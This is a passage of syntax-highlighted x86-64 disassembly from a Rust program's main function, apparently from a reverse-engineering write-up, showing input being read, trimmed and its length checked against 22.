</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac4a</span> <span class="o">&lt;+</span><span class="mi">186</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x70</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac4f</span> <span class="o">&lt;+</span><span class="mi">191</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xe0</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac57</span> <span class="o">&lt;+</span><span class="mi">199</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xe0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac5f</span> <span class="o">&lt;+</span><span class="mi">207</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac64</span> <span class="o">&lt;+</span><span class="mi">212</span><span class="o">&gt;:</span>   <span class="n">xor</span>    <span class="n">ecx</span><span class="p">,</span><span class="n">ecx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac66</span> <span class="o">&lt;+</span><span class="mi">214</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">rdx</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac6a</span> <span class="o">&lt;+</span><span class="mi">218</span><span class="o">&gt;:</span>   <span class="n">cmove</span>  <span class="n">rax</span><span class="p">,</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac6e</span> <span class="o">&lt;+</span><span class="mi">222</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac72</span> <span class="o">&lt;+</span><span class="mi">226</span><span class="o">&gt;:</span>   <span class="n">jne</span>    <span class="mh">0xac84</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">244</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac74</span> <span class="o">&lt;+</span><span class="mi">228</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x19385</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24000</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio5stdin17h586bfeb28b16622bE</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac7b</span> <span class="o">&lt;+</span><span class="mi">235</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac7d</span> <span class="o">&lt;+</span><span class="mi">237</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x68</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac82</span> <span class="o">&lt;+</span><span class="mi">242</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaca2</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">274</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac84</span> <span class="o">&lt;+</span><span class="mi">244</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xe0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac8c</span> <span class="o">&lt;+</span><span class="mi">252</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x544a5</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x5f138</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac93</span> <span class="o">&lt;+</span><span class="mi">259</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x8e80</span> <span class="o">&lt;</span><span class="n">_ZN153_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">result</span><span class="p">..</span><span class="n">Result</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">T</span><span class="err">$</span><span class="n">C</span><span class="err">$</span><span class="n">F</span><span class="err">$</span><span class="n">GT</span><span class="err">$$</span><span class="n">u20</span><span class="err">$</span><span class="n">as</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">ops</span><span class="p">..</span><span class="n">try_trait</span><span class="p">..</span><span class="n">FromResidual</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">result</span><span class="p">..</span><span class="n">Result</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">convert</span><span class="p">..</span><span class="n">Infallible</span><span class="err">$</span><span class="n">C</span><span class="err">$</span><span class="n">E</span><span class="err">$</span><span class="n">GT</span><span class="err">$$</span><span class="n">GT</span><span class="err">$$</span><span class="n">GT</span><span class="err">$</span><span class="mf">13f</span><span class="n">rom_residual17hd4c9315abd7ba83dE</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac98</span> <span class="o">&lt;+</span><span class="mi">264</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x60</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac9d</span> <span class="o">&lt;+</span><span class="mi">269</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf3d</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">941</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aca2</span> <span class="o">&lt;+</span><span class="mi">274</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x68</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aca7</span> <span class="o">&lt;+</span><span class="mi">279</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x110</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acaf</span> <span class="o">&lt;+</span><span class="mi">287</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x1937a</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24030</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio5Stdin9read_line17hba9f1b4004981d34E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acb6</span> <span class="o">&lt;+</span><span class="mi">294</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x100</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acbe</span> <span class="o">&lt;+</span><span class="mi">302</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x110</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acc6</span> <span class="o">&lt;+</span><span class="mi">310</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdx</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acce</span> <span class="o">&lt;+</span><span class="mi">318</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acd0</span> <span class="o">&lt;+</span><span class="mi">320</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xacd2</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">322</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acd2</span> <span class="o">&lt;+</span><span class="mi">322</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xf0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acda</span> <span class="o">&lt;+</span><span class="mi">330</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x100</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ace2</span> <span class="o">&lt;+</span><span class="mi">338</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0xa4e0</span> <span class="o">&lt;</span><span class="n">_ZN79_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">result</span><span class="p">..</span><span class="n">Result</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">T</span><span class="err">$</span><span class="n">C</span><span class="err">$</span><span class="n">E</span><span class="err">$</span><span class="n">GT</span><span class="err">$$</span><span class="n">u20</span><span class="err">$</span><span class="n">as</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">ops</span><span class="p">..</span><span class="n">try_trait</span><span class="p">..</span><span class="n">Try</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">6</span><span class="n">branch17ha604e71f9b0fb167E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ace7</span> <span class="o">&lt;+</span><span class="mi">343</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xace9</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">345</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ace9</span> <span class="o">&lt;+</span><span class="mi">345</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xf0</span><span class="p">],</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acf2</span> <span class="o">&lt;+</span><span class="mi">354</span><span class="o">&gt;:</span>   <span class="n">jne</span>    <span class="mh">0xad0d</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">381</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acf4</span> <span class="o">&lt;+</span><span class="mi">356</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000acfc</span> <span class="o">&lt;+</span><span class="mi">364</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0xa2e0</span> <span class="o">&lt;</span><span class="n">_ZN65_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">alloc</span><span class="p">..</span><span class="n">string</span><span class="p">..</span><span class="n">String</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">as</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">ops</span><span class="p">..</span><span class="n">deref</span><span class="p">..</span><span class="n">Deref</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">5</span><span class="n">deref17h2a8d3d76c5823b24E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad01</span> <span class="o">&lt;+</span><span class="mi">369</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x50</span><span class="p">],</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad06</span> <span class="o">&lt;+</span><span class="mi">374</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x58</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad0b</span> <span class="o">&lt;+</span><span class="mi">379</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xad2b</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">411</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad0d</span> <span class="o">&lt;+</span><span class="mi">381</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xf8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad15</span> <span class="o">&lt;+</span><span class="mi">389</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x54404</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x5f120</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad1c</span> <span class="o">&lt;+</span><span class="mi">396</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x8e80</span> <span class="o">&lt;</span><span class="n">_ZN153_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">result</span><span class="p">..</span><span class="n">Result</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">T</span><span class="err">$</span><span class="n">C</span><span class="err">$</span><span class="n">F</span><span class="err">$</span><span class="n">GT</span><span class="err">$$</span><span class="n">u20</span><span class="err">$</span><span class="n">as</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">ops</span><span class="p">..</span><span class="n">try_trait</span><span class="p">..</span><span class="n">FromResidual</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">result</span><span class="p">..</span><span class="n">Result</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">convert</span><span class="p">..</span><span class="n">Infallible</span><span class="err">$</span><span class="n">C</span><span class="err">$</span><span class="n">E</span><span class="err">$</span><span class="n">GT</span><span class="err">$$</span><span class="n">GT</span><span class="err">$$</span><span class="n">GT</span><span class="err">$</span><span class="mf">13f</span><span class="n">rom_residual17hd4c9315abd7ba83dE</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad21</span> <span class="o">&lt;+</span><span class="mi">401</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x48</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad26</span> <span class="o">&lt;+</span><span class="mi">406</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf2e</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">926</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad2b</span> <span class="o">&lt;+</span><span class="mi">411</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x50</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad30</span> <span class="o">&lt;+</span><span class="mi">416</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x58</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad35</span> <span class="o">&lt;+</span><span class="mi">421</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x9f30</span> <span class="o">&lt;</span><span class="n">_ZN4core3str21_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">impl</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">str</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">4</span><span class="n">trim17h93c161271e464c8bE</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad3a</span> <span class="o">&lt;+</span><span class="mi">426</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x38</span><span class="p">],</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad3f</span> <span class="o">&lt;+</span><span class="mi">431</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x40</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad44</span> <span class="o">&lt;+</span><span class="mi">436</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xad46</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">438</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad46</span> <span class="o">&lt;+</span><span class="mi">438</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x38</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad4b</span> <span class="o">&lt;+</span><span class="mi">443</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x40</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad50</span> <span class="o">&lt;+</span><span class="mi">448</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rdi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad53</span> <span class="o">&lt;+</span><span class="mi">451</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad58</span> <span class="o">&lt;+</span><span class="mi">456</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rsi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad5b</span> <span class="o">&lt;+</span><span class="mi">459</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x28</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad60</span> <span class="o">&lt;+</span><span class="mi">464</span><span class="o">&gt;:</span>   <span class="n">xorps</span>  <span class="n">xmm0</span><span class="p">,</span><span class="n">xmm0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad63</span> <span class="o">&lt;+</span><span class="mi">467</span><span class="o">&gt;:</span>   <span class="n">movaps</span> <span class="n">XMMWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x130</span><span class="p">],</span><span class="n">xmm0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad6b</span> <span class="o">&lt;+</span><span class="mi">475</span><span class="o">&gt;:</span>   <span class="n">movups</span> <span class="n">xmm0</span><span class="p">,</span><span class="n">XMMWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x130</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad73</span> <span class="o">&lt;+</span><span class="mi">483</span><span class="o">&gt;:</span>   <span class="n">movups</span> <span class="n">XMMWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x118</span><span class="p">],</span><span class="n">xmm0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad7b</span> <span class="o">&lt;+</span><span class="mi">491</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xfffffffffffffc7e</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0xaa00</span> <span class="o">&lt;</span><span class="n">_ZN4prob4rust17hdda0a7f774721c38E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad82</span> <span class="o">&lt;+</span><span class="mi">498</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x128</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad8a</span> <span class="o">&lt;+</span><span class="mi">506</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x9f20</span> <span class="o">&lt;</span><span class="n">_ZN4core3str21_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">impl</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">str</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">3l</span><span class="n">en17h9e7fb9204b425ad0E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad8f</span> <span class="o">&lt;+</span><span class="mi">511</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x30</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad94</span> <span class="o">&lt;+</span><span class="mi">516</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xad96</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">518</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad96</span> <span class="o">&lt;+</span><span class="mi">518</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x30</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad9b</span> <span class="o">&lt;+</span><span class="mi">523</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span><span class="mh">0x16</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ad9f</span> <span class="o">&lt;+</span><span class="mi">527</span><span class="o">&gt;:</span>   <span class="n">ja</span>     <span class="mh">0xada3</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">531</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ada1</span> <span class="o">&lt;+</span><span class="mi">529</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xadc1</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">561</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ada3</span> <span class="o">&lt;+</span><span class="mi">531</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x54366</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x5f110</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adaa</span> <span class="o">&lt;+</span><span class="mi">538</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x148</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adb2</span> <span class="o">&lt;+</span><span class="mi">546</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adb7</span> <span class="o">&lt;+</span><span class="mi">551</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x97d0</span> <span class="o">&lt;</span><span class="n">_ZN4core3fmt9Arguments9new_const17h795ce44452297527E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adbc</span> <span class="o">&lt;+</span><span class="mi">556</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf00</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">880</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adc1</span> <span class="o">&lt;+</span><span class="mi">561</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xadc3</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">563</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adc3</span> <span class="o">&lt;+</span><span class="mi">563</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x28</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adc8</span> <span class="o">&lt;+</span><span class="mi">568</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000adcd</span> <span class="o">&lt;+</span><span class="mi">573</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x9f20</span> <span class="o">&lt;</span><span class="n">_ZN4core3str21_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">impl</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">str</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">3l</span><span class="n">en17h9e7fb9204b425ad0E</span><span class="o">&gt;</span>
